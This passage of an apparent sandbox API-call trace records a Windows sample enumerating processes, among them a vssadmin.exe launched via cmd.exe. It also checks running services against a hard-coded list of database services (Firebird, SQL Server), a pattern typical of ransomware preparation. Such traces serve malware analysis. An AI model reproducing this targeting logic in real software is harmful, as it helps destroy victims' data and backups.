th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0182.528] lstrlenW (lpString="shootclick.exe") returned 14 [0182.528] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0182.529] lstrlenW (lpString="nickel.exe") returned 10 [0182.529] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0182.530] lstrlenW (lpString="imperialopened.exe") returned 18 [0182.530] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0182.531] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0182.531] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0182.532] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0182.532] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0182.533] lstrlenW (lpString="perhapssentences.exe") returned 20 [0182.533] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.534] lstrlenW (lpString="svchost.exe") returned 11 [0182.534] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0182.535] lstrlenW (lpString="chrome64b.exe") returned 13 [0182.535] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0182.535] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0182.535] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.536] lstrlenW (lpString="conhost.exe") returned 11 [0182.536] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.537] lstrlenW (lpString="cmd.exe") returned 7 [0182.537] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.538] lstrlenW (lpString="conhost.exe") returned 11 [0182.538] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0182.539] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0182.539] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0182.540] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0182.540] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0182.541] lstrlenW (lpString="vssadmin.exe") returned 12 [0182.541] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0182.541] lstrlenW (lpString="dllhost.exe") returned 11 [0182.541] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0182.542] lstrlenW (lpString="LogonUI.exe") returned 11 [0182.542] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0182.543] CloseHandle (hObject=0x318) returned 1 [0182.543] Sleep (dwMilliseconds=0x1f4) [0183.059] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce960 [0183.059] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0183.060] GetLastError () returned 0xea [0183.060] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1fd0) returned 0x3bb1528 [0183.060] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bb1528, cbBufSize=0x1fd0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bb1528, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0183.061] CloseServiceHandle (hSCObject=0x7ce960) returned 1 [0183.061] lstrlenW (lpString="Appinfo") returned 7 [0183.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0183.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0183.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0183.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0183.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0183.061] lstrlenW (lpString="AppXSvc") returned 7 [0183.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0183.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0183.061] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0183.061] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0183.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0183.061] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0183.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.062] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0183.062] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0183.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0183.062] lstrlenW (lpString="Audiosrv") returned 8 [0183.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0183.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0183.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0183.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0183.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0183.062] lstrlenW (lpString="BFE") returned 3 [0183.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0183.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0183.062] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0183.062] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0183.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0183.062] lstrlenW (lpString="BITS") returned 4 [0183.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0183.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0183.062] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0183.062] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0183.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0183.062] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0183.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.062] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0183.062] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0183.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0183.062] lstrlenW (lpString="CDPSvc") returned 6 [0183.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0183.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0183.062] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0183.062] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0183.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0183.063] lstrlenW (lpString="ClickToRunSvc") returned 13 [0183.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0183.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0183.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0183.063] lstrlenW (lpString="ClipSVC") returned 7 [0183.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0183.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0183.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0183.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0183.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0183.063] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0183.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.063] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0183.063] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0183.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0183.063] lstrlenW (lpString="CryptSvc") returned 8 [0183.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0183.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0183.063] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0183.063] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0183.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0183.063] lstrlenW (lpString="DcomLaunch") returned 10 [0183.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0183.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0183.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0183.063] lstrlenW (lpString="DeviceAssociationService") returned 24 [0183.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0183.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0183.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0183.064] lstrlenW (lpString="Dhcp") returned 4 [0183.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0183.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0183.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0183.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0183.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0183.064] lstrlenW (lpString="Dnscache") returned 8 [0183.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0183.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0183.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0183.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0183.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0183.064] lstrlenW (lpString="DoSvc") returned 5 [0183.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0183.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0183.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0183.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0183.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0183.064] lstrlenW (lpString="DPS") returned 3 [0183.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0183.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0183.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0183.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0183.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0183.064] lstrlenW (lpString="DusmSvc") returned 7 [0183.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0183.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0183.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0183.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0183.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0183.064] lstrlenW (lpString="EventLog") returned 8 [0183.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0183.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0183.064] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0183.064] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0183.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0183.065] lstrlenW (lpString="EventSystem") returned 11 [0183.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0183.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0183.065] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0183.065] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0183.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0183.065] lstrlenW (lpString="FontCache") returned 9 [0183.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0183.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0183.065] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0183.065] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0183.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0183.065] lstrlenW (lpString="gpsvc") returned 5 [0183.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0183.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0183.065] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0183.065] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0183.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0183.065] lstrlenW (lpString="iphlpsvc") returned 8 [0183.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.065] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0183.065] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0183.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0183.065] lstrlenW (lpString="KeyIso") returned 6 [0183.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0183.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0183.065] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0183.065] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0183.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0183.066] lstrlenW (lpString="LanmanServer") returned 12 [0183.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0183.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0183.066] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0183.066] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0183.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0183.066] lstrlenW (lpString="LanmanWorkstation") returned 17 [0183.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.066] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0183.066] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0183.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0183.066] lstrlenW (lpString="lfsvc") returned 5 [0183.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0183.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0183.066] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0183.066] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0183.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0183.066] lstrlenW (lpString="LicenseManager") returned 14 [0183.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0183.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0183.066] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0183.066] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0183.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0183.066] lstrlenW (lpString="lmhosts") returned 7 [0183.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0183.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0183.066] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0183.066] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0183.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0183.066] lstrlenW (lpString="LSM") returned 3 [0183.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0183.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0183.066] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0183.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0183.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0183.067] lstrlenW (lpString="MapsBroker") returned 10 [0183.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0183.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0183.067] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0183.067] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0183.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0183.067] lstrlenW (lpString="MpsSvc") returned 6 [0183.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0183.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0183.067] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0183.067] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0183.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0183.067] lstrlenW (lpString="NcbService") returned 10 [0183.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0183.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0183.067] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0183.067] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0183.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0183.067] lstrlenW (lpString="netprofm") returned 8 [0183.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0183.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0183.067] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0183.067] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0183.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0183.067] lstrlenW (lpString="NlaSvc") returned 6 [0183.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0183.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0183.067] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0183.067] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0183.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0183.067] lstrlenW (lpString="nsi") returned 3 [0183.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0183.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0183.068] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0183.068] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0183.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0183.068] lstrlenW (lpString="PcaSvc") returned 6 [0183.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0183.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0183.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0183.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0183.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0183.068] lstrlenW (lpString="PlugPlay") returned 8 [0183.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0183.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0183.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0183.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0183.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0183.068] lstrlenW (lpString="Power") returned 5 [0183.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0183.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0183.068] lstrcmpiW (lpString1="sqlwriter", 